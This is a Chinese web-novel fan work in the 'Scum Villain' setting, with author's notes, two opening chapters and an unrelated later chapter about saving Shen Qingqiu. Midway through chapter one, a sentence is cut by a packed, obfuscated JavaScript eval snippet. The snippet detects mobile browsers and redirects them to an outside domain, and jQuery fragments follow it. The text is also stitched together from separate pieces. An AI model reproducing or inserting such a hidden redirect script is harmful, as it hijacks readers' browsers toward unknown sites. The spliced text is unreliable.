即便是他所在的山门算得上‘修真界第一大派’,面对男主这个挂批,依旧脆弱的像是纸糊。 修真界,强者通吃、弱者灭亡。如果不是主角,就不该兴起与天比高的想法。 可—— 为什么呢。 虽说每个人都是自己的主角,但却凭什么,他们只能在别人规划的剧本里,充当路人、小弟、反派、杂草? 他是如此。 ‘沈清秋’,亦是如此。 在一个纯粹小说演化的世界里,‘沈清秋’是第一个觉醒自我意志的人,也是第一个发现‘男主’异常的人。 亦是—— 超脱了作者原本设计给他的规划,强制之下、由天道物理降神,被强行操控,认输落败者。 他输了。 输在二维没办法抵抗三维的入侵。 输在此方世界之人无法独立于三界之外、五行之中。 可。 他却又不认输。 在自己无力抵抗、被天道压迫不能‘重来’之时,使用禁术献祭一切,将世界隔阂裂出一条缝隙。 接着——借男主踏破虚空之力,反入侵三维。 围魏救赵、攻敌之必救。 当身为主角的‘洛冰河’看到山外之山、界外之界时,他必然忍不住想要‘探索’一番。 而暗黑系某点大男主,所能带来的破坏力,是绝对惊人的。 系统出现了。 系统于现世寻一灵魂,投入‘沈清秋’躯体,改写故事发展,将‘洛冰河’困死于此方世界。 只是可惜,系统曾走过一次流程,虽完成系统所想,却不是‘沈清秋’所愿。 于是世界崩塌,系统不得不让一切重来,换沈清竹重走剧情。 还好。 身为常年混迹起点的直男沈清竹,虽抽混打闹,却在关键时刻意外的靠谱。 要不然,这个世界,也不知能在经历几次轮回。 “沈清秋。” 沈清竹看着自己满是血迹的手腕,知道这是‘原主’施展禁术的一点微不足道的小代价。 “你被天道压制,强制下线。修真界近乎被屠、山门正道全灭。” “所以你恨。” “本该带领正道对抗到最后一刻,却在荒唐到可笑的言论中放下武器,螳螂入狱。” “在所有人都死亡的情况下,却因敌人的恶意,折断筋骨、践踏尊严、求死不能。” “重视的,全部被毁灭。美好的,都成为废墟。抬头是看不见光线的监狱,低头是连完整都不算的俘虏。” “所以,你用最后的智慧与愤恨,将‘主角’推到现世。帮他亲手打碎世界的枷锁,前往……造世主所在的、传闻中的,上界。” 沈清竹忍不住拍拍手,不顾及浑身虚脱的刺痛,感叹道: “玩什么试探与拉扯,你在得到喘息的第一时间,就选择了‘掀桌子’。” “他们只想要开一扇窗,你却把墙和屋顶都给砸了。” “宿主……” 系统瑟瑟发抖。 按理说,它不该怕的,毕竟他只是一个程序。 可,若真如沈清竹所说,沈清秋是不是有些,过于可怕了。 第一时间发现不对劲,各种试探世界底线,被强制下线后还能利用仅有的资源拉所有人入局。 就连系统、和写这本书的作者,也只是被利用的一环罢了。 “沈清秋。” 沈清竹笑了笑。他幻化了一面水镜,看着镜中人随自己张开笑颜,做了个‘邀请’的动作。 “既然你想闹个天翻地覆,我借用了你的身体复生,自然是要秉承你意志的。” “天道不准你‘复生’,那就由我,替你将这高高在上的‘天’、控制人物为傀儡的‘神’,拉下来。” ——临时脑洞—— 这篇爽文会认真写完的。 这次不想写沈清秋,也不想写年少沈九,更更更不想写得了便宜还卖乖的沈垣。 没办法,写沈清秋一个不小心就太过压抑。写沈九又一不小心就少年白头。。 写点爽文换换心情。 咱起点大男主,就是要无脑爽才行。 ——补—— 其实,关于‘沈清秋’属于沈九还是沈垣,我个人不是很想参活。。 但是吧。有句话不讲不快。 从没见过,有人占了别人皮囊,还说原主不配的。(虽说很多快穿也会说原主无能,但最后都会解决原主留下的烂摊子,达到圆满结局) 如果当真觉得对方不配,想要夺舍,为何不直接从婴儿开始呢。清清白白,绝对不会有人说什么。 半路摘别人的桃子,最后明明有自己都名字却要一直用原主的‘人设’行事。 就连最后,灵芝塑形后,还要‘抢回躯体’…… 如果真的不在乎权势,大可直接用新身体重新生活,就让‘苍穹山清静峰之主沈清秋’彻底死去,洛冰河与沈垣回归魔界。 这不就——皆大欢喜,了吗? 本身。是存在两全其美的办法的。 可是。沈垣没有要灵芝铸造的身体,选择了原主的躯体。 而且以洛冰河随手捡宝的能力,想要给沈垣铸造一个合适的身体,并不困难吧? 多少穿越小说,都想回归原来的世界,恢复原有的姓名——认为独在异世,连真实名姓都不敢告知于人,连真实性格,都要伪装,是件很可悲的事情。 既然如此,以洛冰河能踏破虚空、横穿两界的能力来说,这点‘小事’,应该只要想,并不难完成吧? ———— ———— 渣作者其实是个很挺劝的人,说要改基本上都会改。 而且也从来不参与那些争论。 是一个比较纯粹的,只想写故事、与人就剧情讨论的人。 只是吧…… 有些事情,是没办法避免的。 既然如此,我这边贴一下在其他文章里明确表明过的观点,论证一下,‘沈清秋’,原主到底配不配使用。 第一,原主的名字,是自己拼搏出来的。虽然他不喜欢,但是不能磨灭老峰主对他抱有的期待。 而这一点,是沈垣穿越前就存在的,无法改变的事实。 第二,你可以唤他‘沈九’,因为这确实是他的过往,但不能否认,他现在,是名扬天下的修雅剑、沈清秋。 第三,原主并不知情,一直是‘系统安排’的,并不是原主搞不定一切、奉上灵魂‘求’穿越者过来解决问题的。 第四,沈垣本有机会使用自己身体,是他没保护好新躯体,也不愿‘舍弃一切,从头开始’的。 第五,如果沈垣真的想要现代的躯体,以洛冰河的能力,踏破虚空并不困难,随时可以帮他把自己的身体找回来。但是……身为怼天怼地的龙傲天,好像并没有实施——沈垣,也一次也没开过口。 我甚至都怀疑渣反是沈清秋故意掺手甚至布局,目的就是脱身,包括狂傲都是开胃菜 如果把九当真布局大boss,一些东西可能就没那么云里雾里了 ———— 笑死,大家都是阴谋论的权谋爱好者 ———————————————————————— ———————————————————————— 第一章系统,出来 穿越在外,金手指是必须的 ——正文—— 沈清竹穿越了,穿越到他刚看的《狂傲仙魔录》里面。 最重要的是,他穿越的不是主角洛冰河,而是作者死活不愿意改性别的沈清秋身上。 现在,沈清竹只想大喊一声:“作者真乃义父是也!” 要是作者真改了性别……emmmm,他绝对会立刻自杀求解脱的!!! 好的,现在的场景是,沈清秋走火入魔昏迷,被带回竹屋救治。或许是没救活或者未知情况,沈清竹穿越过来,并且成了他。 嗯。 开局……不算太好,也不是很糟。 首先,沈清秋是一个有实权的峰主。 其次,他有一个位列掌门的、从小一起长大的师兄。 最后,他的修为仅次于百战峰的武痴柳清歌。 综上所述,其实整体环境还不错。 起码不用担心开局被刺杀,或者没事就要勾心斗角、为资源拼的你死我活。 只是。 这部小说,他不是主角! 而且,真正的主角,也不是萧炎!是一个比三哥还要疯魔的暗黑龙傲天! 惨。 有什么能比穿越到一个注定会死的反派身上还要糟糕呢。 哦,那想必是……nan……tong…… 的亏他和其他读者强烈要求,要不然他害的小心翼翼担心身子!!! 玛德,作者是从某江过来的吧!居然敢在直男扎堆的某点英勇无畏的试探读者底线! 幸亏他们是群有操守的读者,愣是将作者祖上三代都问候了个遍,又是各种威胁寄刀片、要举报封杀,才堪堪让作者停下那可怕的心思。 要不然——即便是天胡开局,这迟早也要玩完啊!!! ———— “师弟?你醒了。” 温和的声音在旁边响起,沈清竹睁开眼,看着头上顶着‘苍穹山掌门岳清源’几个大字的NPC。 新手引导这么靠谱的吗!居然开局就把沈清秋最大的靠山、苍穹山最有实权的人物拉过来给他熟悉环境? 这不比什么人工智能爱丽丝强多了? 只是……为啥这不是个丰臀细腰的美人呢……他们热血纯情大直男玩的游戏,那个不是先来个大凶妹子热个场? 咳咳,想远了,他现在是穿越,不是打游戏……还是先苟住这条小命再说吧。 “劳师兄记挂,在下好多了。” 谨遵人设啊……沈清竹实在是不习惯这种文邹邹的画风,不过仙侠嘛,拽几句常用话语,还是没问题的。 只是…… 对方怎么一脸震惊的看着他? 不会是…开局就被识破了吧? 这游戏难度系数这么大的吗? ‘系统!’‘呼叫系统!’‘人工’‘转接人工!’‘人工客服!’ 在沈清竹孜孜不倦的呼唤声中,系统终于珊珊来迟:‘尊敬的宿主,您好。〈人渣反派自救系统〉,竭诚为您服务。’ 金手指!他的外挂到账了! 沈清竹看着被定格的时间,激动的两眼泪花:“快快快,告诉我外挂是什么?升职加薪都走到头也不指望了,妹子能有多少?” “新手礼包呢?传说中无所不能、掌控一切的系统霸霸,身为穿越者的福利在哪里?” “……” 系统看着极为激动的穿越者,尽职尽责播报: “本系统名为〈人渣反派自救系统〉,顾名思义,需要宿主完成反派自救,走上人生巅峰。” “那些不重要,你能干什么?”沈清竹打断系统的官方描述,谁玩个游戏还看引导和剧情啊,都是‘跳过’‘跳过’的好吗! 最重要的是,他的金手指,能做什么? “本系统可以为宿主提供相关剧情、人物关系、人设喜好,以及部分的画面转接。” “……”听起来很寻常啊。 沈清竹有点失望。 感情这就是一个自带的记事本,除此之外啥功能也没有啊。 那些花钱返利、打脸升级、收妹子就能变强的金手指,系统是一个也不沾啊。 “哦。” 得知系统是个废物后,沈清竹没啥兴趣了。万丈高楼平地起、辉煌只能靠自己啊。 “宿主。”系统内置了感情预设模块,能够感应到宿主的失落。但即便如此,它的本职工作还是要提醒的: “‘沈清秋’是世界重要的基石之一,您需要在不违反人设的情况下,尽量打脸逆袭,完成亡灵的不甘怨恨。” “哦。”沈清竹有些无力的趴在床上,看着由通透翡翠雕刻的床头: “手捏一堆王炸,结果却打出个‘被困牢狱’‘生死不由人’的结局,是挺怨念的。” 接着,他无聊的将手伸出去,触摸着上面的花纹: “尤其是,主角若是萧炎,大不了跪在对方面前认个错,不说成为跑前跑后的小弟;即便是将人得罪后求他高抬贵手,至少能落得个体面的同时、宗门也能保住。” “对方若是三哥,将各种灵物堆过去道歉,然后搁他面前自杀,让掌门解散宗门,其他无辜弟子也能保住。” “可对方是黑化龙傲天啊……别说抱大腿,就是哭着求饶,也只会被大卸八块、做成不知死活的傀儡。” “这种开局,说什么也是完蛋。你还不如让我死了算了。” “……” 系统看着消极怠工的宿主,忍不住电极有点痒,想电人。 只是吧,这个情景是有点坑,他要是再‘强制要求’,估计对方更不想配合了。 “宿主。” “别喊我,我已经死了。这样的结局我改变不了,让‘沈清秋’自己回来干活。我只是一混吃等死的超龄大学生,只会‘阿巴啊巴’。” “……” 系统电极真的好痒,面对不听话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442157|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的宿主实在是令统心累……所以,他毫不犹豫的选择电击—— “没用!劳资不干!” 沈清竹也是有脾气的好吗!他就是普普通通看了本后宫文,接着实在受不了作者想搞男.桐,联合其他读者一起要求作者将‘沈清秋’改成妹子收下而已! 他一热血直男,若不是文章里各色美人实在勾人心神,何苦跟一个疑似男.桐的作者天天打嘴仗? “宿主。”系统决定提供一些帮助: “这个世界的难度是‘普通级’,本系统已向上级申请,改为‘简单级’。” 看着一直装死瘫着的宿主,系统极为人性化的捂着眼睛,一脸的不忍直视: “并且给主角植入了‘奶狗’模板,将黑化灭世概率调到最低。只要宿主听从系统吩咐,结局必然能改变。” “哎!你早说啊!” 沈清竹‘唰’的坐起来,就像是所有开家长会被老师点名夸赞的长辈: “我最喜欢培养小孩子了,尤其是那些少年天才。不需要出力的同时还能享受‘教出天才’的夸赞,简直不要太美好啊!” “……” 系统有些顿住,片刻后,它恢复一惯的机械音:“请宿主在不ooc的情况下,尽量完成任务。” “好说。任务是要逆袭是吧?” “呃……更改之后,本系统的任务为:‘培养完美男主’‘为男主提供力所能及的帮助’。” “简单,不就是男主要什么给什么吗,抱男主大腿,走人生巅峰!” “……”系统艰难附和:“那就提前祝宿主玩的愉快。” —————————————————— —————————————————— 第二章干活?我要双赢 双赢,指的是沈清竹他赢两次 ——正文—— 沈清竹很快把岳清源推出去。 毕竟,以‘沈清秋’的人设来说,两人本就是‘话不投机半句多’,超过三句都不正常。 而他一开始的那句‘师兄’,更是令喜怒不形于色的岳清源,简直惊掉了下巴。 还好,系统很给力。调节为‘简单’级别后,岳清源完全没意识到不对劲,三言两语就被打发走了。 现在。该去看望一下‘主角’了。 —— 话说这个主角也是惨。 开局江流儿,被好心阿婆捡到,起名‘洛冰河’。 可惜养母也是个命薄的,没几年就病逝了。临死之前唯一的念想,就是能喝口不是稀得能数清米粒的稠粥。 只是吧,按照剧情的一惯尿性—— 主角心心念念的人,一定是会被剧情杀的;主角周围之人想要的东西,一定是得不到并且化为男主执念的。 所以……主角的养母当然是没喝到主角求了半天的、快馊掉的米粥。 而这,也成了主角与‘沈清秋’之间,一个绝对的矛盾冲突点。 毕竟。身为强大仙尊的‘沈清秋’,当然是看不上门下弟子端上来的粥水啊! —— 哎,别想了。 沈清竹摸一把脸,皱着眉头思考后续。 他现在是‘沈清秋’,是一个绝对会在后期被压在地上打的反派大BOSS。 主角……现在,应该还算是清亮小白花。至少是想给‘沈清秋’送粥的、拥有期待的纯情小少年。 所以……要不就牺牲一下肠胃,喝一口? 毕竟剧情里面,男主做饭手艺还是不错的,吃口粥而已,应该算不得什么‘污浊之气’吧? 只是修真之人,一惯辟谷。凡俗食物杂质诸多,会不会影响修炼? —— “!!!” 完蛋了! 沈清竹看见男主惨样的第一个想法,就是收拾包裹逃命。 主角都被打成这样,眼里别说希冀,能不想着报社就不错了,这样的人,还指望施点小恩小惠软化他??? 还不如直接将对方打死比较快。 等等? 沈清竹认真的思考着打死主角与努力怀柔之间,那个更简单快捷一些。 首先,所有主角都是属小强的。第一是打不死;第二是打死了,他总会从莫名其妙的地方冒出来。 就如剧情中,鬼知道被推下万丈深渊的玩意,还能真的爬出来复仇啊! 所以……在‘送对方换个学府、重新考研’这一招失败后,沈清竹实在是不想重蹈‘沈清秋’覆辙啊。 那么…… 怀柔? 这就需要仔细考虑一下,这个主角扒开皮囊之后,到底是白是黑了。 若是后期的毁天灭地冰哥,给沈清竹几千个胆子,也不敢说一句‘软化冰哥’啊! 只是—— 若现在的小白花,能掰回来呢? 那这可是将能灭世的强大力量拴在手里的啊! 这样的梦想,那个心怀天下的男人不想实现?! 醒掌天下权、醉卧美人膝。 建万世功业、镇大好河山。 那个热血男儿能经得起这样诱.惑?! 沈清竹越想越上头,心里开始各种分析: 没错,眼前这个人未来会灭世。 但,那可是灭世之力啊! 若是他能给对方锁上层层枷锁,令其丢掉毁灭之心,安分的当他手中的刀…… 那绝对是锋锐无比、所向披靡啊!!! 而且…… ‘系统!’‘系统出来!’ “人渣反派自救系统,竭诚为您服务。” 系统一如既往的随叫随到,毫无感情的机械音使它听起来极为冷静自持,官方客套的很。 只是…… 沈清竹喊他出来,本就是打算掀桌子: “你让我现在入场,是因为这个节点非常重要?” “是的宿主。” 系统的声音听起来无波无澜,仔细深究起来,却又几丝无法掌控的急迫: “这个节点,主角已经经历了‘拜师不利’‘山门罚跪’‘日常责打’。只需要再走一个‘魔族入侵、崭露头角’和‘门派大比、跌入深渊’,就将成为毁天灭世黑化龙傲天。” “所以。”沈清竹眼里闪过一丝流光,右手从桌上摸出一把折扇,玉骨极有规律的轻敲桌面,为自己造势: “你们刻意安排,让我行怀柔之策。以温情感染对方,赠送对方需要的资源,给予他来自长辈的慈爱。” “以截然不同的仙人之姿,打破他一惯的悲惨过往,掀翻一直被打压的‘大山’,以大无畏之态,成为他的‘救命恩人’?” 沈清竹看着静止时间下身上还溢着血的凄惨少年,起身围着他认真观察一番,给出确定推论: “此子,其内心如何不好说。但对于‘沈清秋’的怨恨压抑,却是已达到顶点。” “你们刻意寻我这这混吃等死的清蠢大学生,又改变任务主线为‘培养完美男主’,打的就是让他知道‘这具壳子已换人,新来者是你的救赎’吧?” 沈清竹声音淡漠,用‘沈清秋’的音腔一字一句平静讲话,犹如春日里的雨滴滚落,当真是‘大珠小珠落玉盘’。 “既如此,你们的目的,也很好推测。” “黑化的龙傲天,拥有破碎虚空之力。该不会,硬是突破了小说世界的枷锁,成功威胁到你们的存在?” “……”系统有些瑟瑟发抖。却又不知该如何让对方闭嘴。 沈清竹优雅的将衣袖整理平整,像是所有男频仙尊一样,居高临下的看着遍体鳞伤的小可怜: “我可以帮你们。” 但你们,也该回给我应有的报酬。 如若不然,他手里捏着的男主,就是最好的长刀。 “我会改造他。” 抚平他受伤的内心,带他脱离仇恨的枷锁。 用另一把更为柔情的软刃,将他锁死在这个世界。 “……” 系统有些不敢出声。他不是一个普普通通看后宫文,还没事在评论区盖楼骂作者的抠脚大汉吗? 为何……却一眼看透本质,直白的令统这么害怕? emmmm…… 系统不知道的是,真正的某点评论区,骂架争论的多,但真正有本事的也不少。 起点老爷们,是真的能比作者本人,还要理解一个人物。甚至比现编故事的B乎,还要卧虎藏龙。 71.救赎 第一人称,情绪白文 ——前言—— 看《惩罚游戏》把自己气笑了 我终于知道为什么我写不了沈九和冰哥的恋爱了。 我终于知道为什么我总是ooc了。 麻袋是因为这两都不是正常人! 有位小天使推荐我看一本特别符合人设的小说、《惩罚游戏》 我看到一半(不到十分钟)。吐槽十分钟。 攻,洛冰河,不会爱人,只会刺激人,然后睡人,接着压迫人,问他为什么不爱自己。 受,沈清秋,学富五车、修为出众、有情有义。然后呢?嘴毒、闷骚、倔葫芦。不解释就算了,一边说着‘抛弃了脊梁骨’,一边努力替其他人完善后事,一边又不想活却努力挣扎。然后呢,两人生死纠错。 我就。。。。不想活就早点自杀好趴! 攻就不说了,想要爱人就要先付出爱,然后等着回馈好吗?! 受呢?不想活就赶紧把东西解决,然后趁早自杀,跟这种神经病在一起,还能指望自己正常???? 咋说呢。 两个古早有病人。 一般人,把控不住的。 别指望一身处和平年代的普通人,能把握强者为尊、年龄阅历远超多少倍的人物。 趁早滚蛋才是真的! ———— 《救赎1》 穿越异世 “你是?异界之人?”沈清秋的表达简单直白,当然我的回答也很直率: “没错。”我的回答简单而干脆,没有丝毫犹豫。语气平静,但却坚定不移、毫不动摇。我深知自己此刻所说的话可能会引起对方的反感甚至敌视,但我并不在意。 或者说这正是我的目的所在,我希望他能够最快地了解到真实情况,并尽快做出反应。 “所以说……你现在是在告诉我,我堂堂一介峰主,最终竟然会败于人手,而且还会毫不抵抗?”他的声音中带着一丝愤怒、疑惑和不甘,似乎无法接受这样的事实。 他有些难以置信的看着我,脸上闪过一丝惊愕与不解。他怎么也想不通,自己身为一峰之主,拥有强大实力和崇高地位,为何会遭遇如此惨败?更何况还是毫无抵抗之力!这种结局对他来说无疑是一个沉重打击。 “正是如此。”我依然平静地回答道,眼神专注地看着他,这个我不惜耗费一切,抛弃世俗的一切,哪怕舍去生命也要拯救的人。 “你的目的?”他似乎深吸了一口气,在很快的时间内冷静了下来。 “救你。”我的语气坚定而真诚,没有丝毫犹豫。早在决定踏入这扇门之前,我就已经下定决心要救他。为了实现这个目标,我抛弃了名誉、地位、财富甚至亲情友情,义无反顾地投身到这场冒险之中。因为只有他安全了,我所珍视的一切才有意义。 他嘴角微微上扬,露出一丝不屑的笑容,仿佛听到了世间最荒谬的笑话一般:“哼,真是可笑。你为何要救我?难不成我还能是‘主角’吗?” 我轻轻摇了摇头,脸上浮现出一抹淡淡的笑容,轻声说道:“并不是如此。实际上,你只是故事里的一个背景板罢了。你的故事虽然在原著中只有寥寥数语,但却被无数人喜爱和传颂。而你,也因此成为了众多读者心目中的崇拜对象,他们为你编写了各种各样的结局,每一个都充满了奇思妙想。” 顿了顿,深吸一口气,我看着他那张举世无双、犹如仙人之姿般的面容,继续缓缓说道:“这些结局或喜或悲,但无一不展现出大家对你的喜爱和关注。每一个字,每一句话,都是他们用心编织出来的,只为了能让你感受到这份沉甸甸的情感。” “而我,只是众多读者中的一员,同样也深深地被你的故事所吸引。每当我沉浸在你的故事里,就仿佛置身于一个奇妙的梦境之中,无法自拔。” “所以当我得知我幸运的有机会能参与到你的生活,改变你正面临着的困境时,心中自然而然地涌起一股想要帮助你的冲动。那种感觉,就像是看到自己最珍视的宝物即将被摧毁,无论如何也要拼尽全力去守护它一样。” 听到我这番话,他那如剑一般的眉毛微微皱起,似乎对我的话产生了浓厚的兴趣,同时眼神中也流露出一丝疑惑:“那么,这与你救我又有何关系?难道你真的认为仅凭这些看似虚无缥缈的东西,就能改变残酷无比的现实吗?” 我嘴角微微上扬,露出一抹淡淡的笑容,既然已经走到了这一步,那么接下来会发生什么变化谁也无法预料,不过至少现在已经有所不同了吧? “虽然可能无法直接改变现实,但它确实给予了我莫大的勇气与力量。在属于我的世界之中,依然有众多人在为你而战,他们花费大量时间和精力地关怀着你、支撑着你。倘若我们齐心协力,说不定真的可以开创出不同的结局!” “正因如此,我才毅然决然地投身其中,引领你冲破那些早已注定的宿命。我深信,唯有如此,方可彻底彰显出你的自身价值与独特魅力。而这,亦是我不顾一切,来到此地的缘由所在。” 他静静地凝视着我,眼神冰冷如寒霜,表情冷淡且严肃至极,仿佛要把我看穿一般。然而,除了刚开始时的警惕和震惊之外,我实在无法从他的脸上看出更多的情绪来。他的眼神中似乎既没有信任,也没有怀疑,但我坚信自己刚才所说的话,一定已经在他内心深处掀起了一丝涟漪。 终于,他缓缓地抬起头,目光凝视着远方,声音仿佛如清风拂面,说道:“好,既然如此,那我暂且信你一次。不过,对于你刚才那惊世骇俗的言论,你是否应该给我一个合理的解释?”他的语气虽然平静,但其中却蕴含着一种不容置疑的力量,让人无法忽视。 “关于我的身份以及来到这里的方式,现在还不是告诉你的时候。但请相信,我对你没有恶意。”我诚恳地看着他,“目前最重要的是解决你的困境。如果你愿意,我可以帮你一起找出修复根骨、提升你的实力,突破境界的方法。” 他沉默片刻,眼中闪过一丝犹豫之色,仿佛内心正在经历一场激烈的挣扎。终于,他缓缓开口道:“我凭什么相信你?”声音中带着淡淡的疑惑与警惕。 我微微一笑,尽量让自己的笑容显得真诚而友善,轻声说道:“你可以试着相信我,毕竟此时此刻,你似乎并没有其他更好的选择。”话语间,我流露出一种极为诚恳的神情,希望能借此让他感受到我的可靠性。 接着,我又补充道:“而且,我真的只是想帮你而已,并无任何恶意或不良企图。并且为了这个目的,我放弃了很多。这一点,你大可放心。” 他紧紧皱起眉头,目光凝视着我,似乎想要透过我的眼睛看穿我的真实想法。过了好一会儿,他才再次开口:“好,我可以暂且相信你。不过,你必须告诉我你详细的计划安排,以及所有你能说,应该让我知道的信息内容。”他的语气坚定,不容置疑,显然对我仍持有一定程度的怀疑态度。 我心中暗自松了一口气,还好他没有直接拒绝我。我顿了顿,继续说道:“首先,这个世界就如同话本子里描述的那样,有一个命中注定的主角存在。然而遗憾的是,你并非那个被上天眷顾的天道之子,而是与之相对立的反派角色。” 他微微颔首,表示对我所说的话有所理解和认同。 接着,我语气郑重地告诉他:“想必你也曾翻阅过那些流传于民间的山野杂书,应该清楚与主角作对的人通常都不会有好下场。” “而你呢——恰恰就是那位不仅不肯传授主角技艺,反而还要处处打压他的恶毒师父。”说到这里,我凝视着他,观察他的反应。 “……” 看着他隐隐发黑的脸庞,我快速总结道:“因为对主角的态度不好,所以主角对你怀恨在心;又因机缘巧合,主角跌入悬崖,习得神功,一通魔界,找你报复。你声名狼藉,沦为阶下囚。” “……” —————— 《救赎2》 从来不听话的家伙,神烦 “嘤嘤师姐”我双手举起,呈投降状。 “你刚才什么意思,阿洛只是想看一下心法,你为什么制止我?”宁嘤嘤气势汹汹,两颊气的鼓鼓的,跟娇蛮公主似的,天真可爱。 “冤枉啊…”我大声喊冤,又忍不住用手搓了搓她的脸颊:“只是我们是女子,女子的心法说不定和男子不同,若是洛师弟不小心记混了,练出茬子,岂不不美?” “这……”宁嘤嘤低头思考了片刻,貌似认同的点了点头:“你说的也有道理。” “是吧是吧……”我如小鸡吃米般疯狂点头——这可是后期敢杀师的主,虽不知是不是为了帮沈清秋解脱,但是能用一把匕首杀掉喊了那么多年‘师尊’的存在,千万惹不起啊! “可是,阿洛好像很失望的样子……”宁嘤嘤的眼神柔软又湿漉漉的,像极了邻家温柔大姐姐,鹿系的那种。 “安啦安啦”我随手挥了挥,我还被男主给惦记了呢,洛冰河走的时候眼神阴狠的蹬了我一眼,我说什么了? “可是……”宁嘤嘤还是很心虚,洛冰河难得求她一次,她却没有给予他应有的、随手之劳的帮助,宁嘤嘤心虚的都快不敢出去吃饭,就怕遇见他了。 “没有可是,”我强硬的打断了她——龙傲天的青梅竹马、贴心师姐?昏暗时刻的光,一众排挤中的救赎?送资源、给予安慰、充当提醒工具的最初女主角? 有我在,这个最初女主角,必给你拦得死死的!让你知道什么叫“万事开头难”! ———— “师尊啊。”我有点有气无力、生无可恋:“你为了跟柳清歌怄气,非得不顾我三番两次的劝解收徒;又实在看不惯他,冷言讽刺不说,还拿杯子砸他,是真的非要浪是吧?” “本尊做事,那轮到你嘟嘟囔囔?” “是,我是没资格。”妈的,老子要气死了:“你TM非要照着天道给你画好的模子,一条路走到黑是吧?” “是此子太过气人。” “呵,”我冷哼:“你的性格比他还恶劣!” “……”沈清秋忍了忍:“我不与女人争辩。” “咋滴,他就跪下喊了句‘师尊再上,请受我一拜’,他就过于恶劣了?” “……”沈清秋一言不发,手指捏得生响。 “那他之后还拐了宁嘤嘤,火烧清静峰,灭了苍穹山派呢!” “咔嚓——” “别气!别气!”我死死的拽住他大跨步的衣袖:“你不是已经让明矾打了一顿了嘛!” “不够,我要将他抽皮扒筋!挫骨扬灰!” “……”遭了,一时不察,情况比之前更危险了!这是真的下了想让主角死的心思啊! “你弄不死他的!”我不在顾及什么男女大防,也不理会书中描写过多少次的‘不喜与人接触’,直接抱住沈清秋的大腿:“天道宠儿不是你我这种炮灰能弄死的!” “!” 有效,我在心里给自己鼓了个掌:“斩草不除根,只会引起敌人的忌惮!而主角这种东西一击不中,后续指不定躲那个阴暗角落里猥琐发育,突然冒出,反倒带来灭顶之灾!” “……” 许是我的殷勤劝解终于生效了,沈清秋用那双冰冷到几乎要杀人的眼睛看着我,接着又看向我紧紧抱住他大腿的胳膊和手。 我急忙将胳膊收回,作拘谨状:“你丢给洛冰河错误的心法,他已经发现端倪了。今天去讨宁嘤嘤要她的,我给拦下了。” “哦。”沈清秋面色冷淡,完全不在乎,甚至还悠悠在喝了口茶水,一脸翩然的的样子。 也是,这种小问题,洛冰河只要随便翻一下通铺弟子的枕头,或者找宁嘤嘤“借阅”一下,很轻易就能破掉。无关痛痒的小小惩罚而已,不算什么。 “所以你想做什么啊?”我实在不能理解沈清秋的做法,他这么一搞,除了让主角知道自己不被待见,还能有什么用处? “不做什么。” “呵,”我都要冷笑成歪嘴了:“不做什么,不做什么你收徒流程都不想走完;不做什么你扔给他假的心法;不做什么你示意明矾揍他一顿???” “你要是着实对他不喜,就搞点一击必杀的。”我抓着头皮挠了两下,表示不能理解高手对招的套路: “比如给他一本能让人走火入魔,而不是清心寡欲的心法秘籍;比如揭穿他半人半魔的的身份,让他与世皆敌;比如将他直接扔给柳清歌,眼不见心不烦!” 妈的,越想越气,明明最大的杀招握在手里,沈清秋搞啥干这些除了能增加主角厌恶度,一点杀伤性都没有的操作? 沈清秋将茶杯放回桌子上,眼神飘了我一下,继而看向远方:“我不是圣人。” “?”我一头雾水、莫名其妙:“蛤?然后呢?” “不会干那些小打小闹。” “你现在不就是吗!!!”我抓狂,大哥啊,你就放下你那莫名其妙的坚持和底线,早点找机会弄死主角,取代主角的天道宠儿身份,成为新一任龙傲天,不好吗? —— 后续的剧情发展与原先一样。 假心法与拒绝上课,淋漓尽致的展现了沈清秋对洛冰河的不喜。 到年纪该领兵器,也没洛冰河的份。 闭关修炼,柳清歌还是死于沈清秋之手。 出关,魔族入侵。 我抓狂的看着施施然从灵犀洞出来的沈清秋,跑到他的身边,无能狂怒:“我千叮咛万嘱咐,千万离柳清歌远点!你怎么又失手弄死他了!” “你知道你闭关的这段时间,百战峰的人来了多少次吗?他们一个个耀武扬威的,要我们给他一个交代!洛冰河因此实战技能杠杠的涨,你到底在做什么?!” 说到这里,我都恨不得抹一把辛酸泪,真是想揪着他的耳朵疯狂大喊,才能以解我心头愤恨!!! 沈清秋足尖轻点,离我三丈远,淡然的眼神直晃晃的表达对我的嫌弃,然后他一声不吭的,带着众人朝魔族那边走去。 “屮!”谜语人不得hourse啊!!! —————— 《救赎3》 该死的剧情还是要走 “你到底要搞什么?”我快速跳到沈清秋身边:“我说的你有没有听见啊!你不是知道吗?” 沈清秋头也不回,迈开长腿,向前走去。其架势,甚是果决。 很快,如同书籍所记载,三局两胜,并且最后一局主角胜利,沈清秋成为迫害弟子、送弟子去死的恶毒师傅。配上‘灭杀柳清歌’这个罪名,连岳清源都没办法护着他了! 我气势冲冲的闯进竹屋,明矾连门口都不敢停留,生怕被暴怒的我、喜怒无常的师尊给狠狠修理:“你到底要干什么?!” 是的,宁嘤嘤说的不错,我对沈清秋完全不是对师尊的‘尊敬’,有时甚至恨铁不成钢。过度的关注、过于了解、甚至有时莫名其妙的愤怒。 “你知道我为了进来放弃了什么吗?你知道我为了想办法改善你的根骨都做了哪些努力吗?你知道我给洛冰河添了多少堵吗?” “哦。”沈清秋依旧不痛不痒,静静喝茶。 “别喝了!”我从他的手里把茶杯夺下,转手扔出去,从偷听的宁嘤嘤耳边滑过:“嘤嘤,出去!否则你也一样打!” 是的,沈清秋闭关这几年,我修为猛进;从听到柳清歌死去的消息后,我性格爆涨——现在整个清静峰乃至苍穹山派,都知道有个曾经的小师妹,现在的凶悍大师姐,易爆易怒,生气起来是真的能将人打的只剩一口气,堪比柳清歌第二。 我吸了一口气,压下怒火:“我需要一个解释。” “哦?”沈清秋突出一个单音节。 妈的,气死了,我愤怒的抓着他的领子,差点想勒死他:“为什么要杀柳清歌!为什么非要让洛冰河上场!你到底要搞什么?!” 